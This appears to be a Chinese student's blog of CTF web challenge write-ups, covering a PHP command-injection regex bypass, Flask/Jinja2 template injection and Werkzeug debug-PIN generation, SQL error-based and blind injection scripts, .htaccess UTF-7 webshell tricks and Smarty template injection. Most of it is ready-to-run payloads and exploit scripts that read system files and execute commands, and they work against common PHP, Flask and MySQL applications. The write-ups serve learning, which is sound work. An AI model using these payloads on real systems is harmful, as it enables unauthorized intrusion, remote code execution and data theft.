打ctf(×)
被ctf打(√)
首先查看文件夹文件,{"cmd":"ls"}
然后输入其他的发现被ban了,看wp得源码
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected
';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected
';
} else {
echo 'Attempting to run command:
';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '
';
}
}
?>
非预期:
preg_match只能匹配第一行数据,所以用换行符%0a
换行,然后发现没有cat命令,是由于应用程序的PATH变量更改了
最终payload:{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}//路径是找出来的
预期
p神文章:PHP利用PCRE回溯次数限制绕过某些安全限制
正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配
payload:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://0e383195-1074-4c91-ba06-2b4029dcd921.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)
参考:W4nder:[FBCTF2019]RCEService
BUUCTF:[FBCTF2019]RCEService
看wp的同时学习一下知识点:
从零学习flask模板注入
浅析SSTI(python沙盒绕过)
Flask debug 模式 PIN 码生成机制安全性研究笔记
hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。
base64decode在不会解析的时候就会报错
首先读源码:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
非预期:
发现是flag和os等被过滤,师傅利用的字符串拼接
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}
或者
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['sys'].modules['o'+'s'].__dict__['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}
还可以使用切片省去了拼接flag的步骤
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
预期:
这里借鉴一下师傅的文章:
要想生成PIN码,我们需要获得下面几个信息,所需要的信息均可以通过读文件来获得:
一:服务器运行flask所登录的用户名。通过读取/etc/password可知此值为:flaskweb
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
二:modname的值。一般不变就是flask.app
三:getattr(app, "__name__", app.__class__.__name__)
的结果。就是Flask
,也不会变
四:flask库下app.py的绝对路径。在报错信息中可以获取此值为: /usr/local/lib/python3.7/site-packages/flask/app.py
五:当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address
读取,eth0为当前使用的网卡:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
我这里获取的是/proc/self/cgroup
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}
得到3a6ff5898390f421d3a796226e0e07c0339c79df1319cea55253e98e767c6118
用kingkk师傅的exp:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410333015',# str(uuid.getnode()), /sys/class/net/ens33/address
'3a6ff5898390f421d3a796226e0e07c0339c79df1319cea55253e98e767c6118'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
传入265-149-843
直接进入python终端了
参考:
GYCTF Flaskapp[SSTI模板注入 ]
[GYCTF2020]FlaskApp
GYCTF2020_Writeup
从一道ctf题谈谈flask开启debug模式存在的安全问题
查看源码得到信息
那么应该是文件包含,尝试payload:
?file=php://filter/convert.base64-encode/resource=index.php
解码即可得到源代码:
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
那么可以得到confirm.php,change.php,search.php等等的源码
change.php:
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
search.php:
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "姓名:"
.$row['user_name'].", 电话:"
.$row['phone'].", 地址:"
.$row['address']."";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
confirm.php:
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
每个涉及查询的界面都过滤了很多东西来防止SQL注入,但发现在change.php中address只是进行了简单的转义。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发
payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#
赛博朋克2077买买买!!!
参考:ciscn2019华北赛区半决赛day1web5CyberPunk
一开始一脸懵逼
查看源代码得到flag。。。。。。what!!!!!!!
正常来说:google翻译,按照翻译出来的中文翻译成英文,与符号相对应,很自然的就找到了对应关系,而且还根据符号的大小区分了大小写,最后拼接直接得到flag
可参考:2019年CTF3月比赛记录(一):BSidesSF 2019 CTF_Web部分题目writeup与重解
首先进入发现在右上角记录了ip
然后在最后面发现是基于Smarty模板
抓包伪造XFF头试试,设置X-Forwarded-For: {7+7}
smarty中的{if}
标签中可以执行php语句,那么可以使用:
{if system("ls /")}{/if}
{if system("cat /flag")}{/if}
或者
{if readfile('/flag')}{/if}
一开始以为是弱密码或者是万能密码,后来发现都不对,提示有cookie还是抓包,但并未发现什么。
看wp发现只要在cookie处加入:username=admin
即可 ?????
参考:2019年CTF3月比赛记录(一):BSidesSF 2019 CTF_Web部分题目writeup与重解
考点为二次注入
首先注册一个'sss"\
测试一下,在修改密码处有一个报错的回显
猜测sql语句
select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'
那么进行报错注入
username=1"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
这个题目flag不在flag 表中。。。。。。。查看users表
username=1"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
username=1"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
得到列为real_flag_1s_here
,最后爆数据
username=1"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
username=1"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
使用python的切片,步长为-1,来得到正向的flag,拼接即可
参考:[RCTF2015]EasySQL
进入点击发现是猫狗的图片,看url发现可能是文件包含
使用伪协议读取index的源代码
?category=php://filter/read=convert.base64-encode/resource=index
得到有用代码:
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
利用include函数特性包含一下flag.php文件
?category=woofers/../flag
说明flag.php被包含了进去,接下来读取flag.php,看wp知道php://filter伪协议可以套一层协议
法一:
?category=php://filter/read=convert.base64-encode/meowers/resource=flag
利用了PHP对不存在过滤器的容错性,虽然会报warning,但是还是输出了结果。
法二:
?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
利用了PHP会对路径进行规范化处理
参考:
[BUUOJ记录] [BSidesCF 2020]Had a bad day
BSidesSF 2020 CTF writeup
给出了源码:
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
htaccess生效
如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance 这里采用# \
的方式将换行符转义成普通字符,就可以用#来注释单行了。
利用文件包含
代码中有一处include_once("fl3g.php");
php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。
tmp目录写文件
payload:
第一步:通过error_log配合include_path在tmp目录生成shell
写入utf-7编码的shellcode可以绕过
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
在传值的时候一定要进行url编码才可以成功
?filename=.htaccess&content=php_value%20error_log%20%2ftmp%2ffl3g.php%0aphp_value%20error_reporting%2032767%0aphp_value%20include_path%20%22%2bADw?php%20eval($_GET[1])%2bADs%20%2bAF8AXw-halt%2bAF8-compiler()%2bADs%22%0a%23%20%5c
第二步:访问index.php留下error_log
第三步:通过include_path和utf7编码执行shell
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
同理传入:
?filename=.htaccess&content=php_value%20include_path%20%22/tmp%22%0aphp_value%20zend.multibyte%201%0aphp_value%20zend.script_encoding%20%22UTF-7%22%0a%23%20%5c
一:
因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false,通过设置.htaccess:
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \
传入:
?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23%20%5c
filename即可通过伪协议绕过前面stristr的判断实现Getshell,令filename为:
?filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了
php_value pcre.backtrack_limit 0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa\
我这里没有成功传入base64解码后的东西,不知道为啥没有执行,传php和.htaccess都没有成功。。。。(在线等一位大佬)
二:
反斜杠有拼接上下两行的功能,因此这里本来就可以直接使用\
来连接被过滤掉的关键字来写入.htaccess
php_value auto_prepend_fi\
le ".htaccess"
#\
传入url编码过的字符串
?filename=.htaccess&content=php_value%20auto_prepend_fi%5c%0ale%20%22.htaccess%22%0a%23%3c%3fphp%20%40eval(%24_GET%5b'cmd'%5d)%3b%20%3f%3e%5c
即可在index里面执行命令了
本题需要不停地传.htaccess来触发,要多加尝试(重试了n次qaq)
参考:X-NUCA-ezphp记录
[XNUCA2019Qualifier]EasyPHP
XNUCA2019Qualifier/Web/Ezphp/
也是一个xxe的题目,重点是利用XXE来嗅探渗透内网
先用file协议读取相关的文件 /etc/passwd
和 /etc/hosts
当我们读取到hosts文件的时候,我们会发现有几个ip地址,我们便来访问一下(到这里应该可以猜到是在打内网了)
访问了第一个,发现报错,说明没有这台主机,那么就多来试几台,发现在它后面的那一台里面就是flag
参考:[NCTF2019]True XML cookbook
好久没写题了,其实想入门一下逆向,在b站看了一些视频。然后网鼎杯快来了,来看一看真题,试试能不能签到(菜
首先需要登录,猜测有注册页面,为register.php
进入后只有一张小姐姐的图片(画的真好!!!),其他什么信息也没有,最后发现为二次注入。
注册成功,会得到 302 状态码并跳转至 login.php ;如果注册失败,只会返回 200 状态码。
使用username=0'+(select hex(hex(database())))+'0
得到373736353632
,两次hex解码后为web
至于为什么用两次hex,借用链接的例子自己试了一下,正常的情况:
但十六进制有字母的话,发现到字母后被截断了,那么使用两次hex编码的话就会只得到数字
但得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度
使用substr
每次取10个字符长度与 '0'
相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr('test' from 1 for 10)
这种写法来绕过
payload:0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0
(有长度限制,更改前端即可)
可以慢慢注册得出答案,但我懒,找到了师傅的脚本:
import requests
import string
import re as r
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://745e50fc-02a5-45ba-9072-9431c79f6004.node3.buuoj.cn/'
def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = 'adsl1234')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email = email,password = 'adsl1234')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html
f = ''
for j in range(0,17):
payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)
# print html.text
html = login(email)
try:
res = r.findall(r'(.*?)',html.text,r.S)
flag = res[0][1:].strip()
print flag
f += flag
print f
print f.decode('hex').decode('hex')
except:
print "problem"
代码看的一愣一愣的,以后还是要学会自己写各种注入的脚本呀!!!
参考:【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp
2018网鼎杯 三道WEB题 记录~~(二次注入)
[网鼎杯] 第二场web writeup
做的时候就不会,看wp写一下这题
sys中有这两个表x$schema_flattened_keys,schema_table_statistics
可以获得表名信息,不过发现sys库中带有table的库名大多都会保存表名信息,不过需要mysql5.7以上。可以使用sys.schema_table_statistics_with_buffer
得到表名,使用Y1ng师傅的盲注脚本:
import requests
from urllib.parse import quote
alphabet = ['{','}','_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
url = 'http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/'
target = 'select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()'
res = ''
for i in range(1,50):
for char in alphabet:
payload = '2||ascii(substr(({}),{},1))=\'{}\''.format(target, i, ord(char))
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
# print(text)
if 'Nu1L' in r.text:
res += char
print(res)
break
得到我们需要的表:f1ag_1s_h3r3_hhhhh
预期解是文章中提到的使用 select concat("a", cast(0 as json))
来另其返回二进制字符串,又因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~
,这样的话f~
始终大于flag{xx}
, e~
始终小于flag{xxx}
使用Smi1e师傅的脚本:
# -*- coding:utf8 -*-
import requests
import string
url = "http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/"
def exp1():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break
def exp2():
str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
flag_table_name = 'f1ag_1s_h3r3_hhhhh'
for j in range(1,39):
for i in str1:
i = flag+i
paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' not in r.text:
flag=i
print(flag)
break
if __name__ == '__main__':
exp1()
exp2()
还可以使用Y1ng师傅的脚本
按位比较过程中,因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因
import requests
url = 'http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
参考:
无需“in”的SQL盲注
i春秋2020新春战“疫”网络安全公益赛GYCTF Writeup 第二天
聊一聊bypass information_schema
新春战疫公益赛-ezsqli-出题小记
菜鸡一枚,本文仅为学习笔记,水平有限,主要还是看大佬的wp,如有错误还望指正